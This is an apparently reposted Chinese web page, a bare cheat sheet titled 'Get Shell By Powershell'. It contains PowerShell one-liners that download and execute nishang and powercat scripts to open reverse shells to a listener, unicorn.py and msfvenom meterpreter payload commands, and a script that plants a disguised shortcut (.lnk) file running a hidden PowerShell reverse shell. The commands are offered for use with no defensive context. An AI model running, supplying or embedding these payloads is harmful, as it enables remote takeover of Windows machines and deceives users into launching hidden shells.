Get Shell By Powershell_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

Get Shell By Powershell

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


Get Shell By Powershell

Invoke-PowerShellTcp.ps1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString ('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 监听主机 ip -Port 9999" powercat.ps1 powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 监听主机 ip -p 9999 -e cmd.exe" unicorn.py python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 MSF msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxx -f psh-reflection> shell.ps1 生成快捷方式 shell 的 Powershell 脚本 1 2 3 4 5 6 $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("c:lnk_testspayload.lnk") $Shortcut.TargetPath ="%SystemRoot%system32WindowsPowerShellv1.0powershell.exe" $Shortcut.IconLocation = "%SystemRoot%System32Shell32.dll,21" $Shortcut.Arguments = '-windowstyle hidden /c $client = New-Object System.Net.Sockets.TCPClient("""192.168.1.10""",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + """PS """ + (pwd).Path + """> """;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $Shortcut.Save() 文章来源:lsh4ck's Blog

Get Shell By Powershell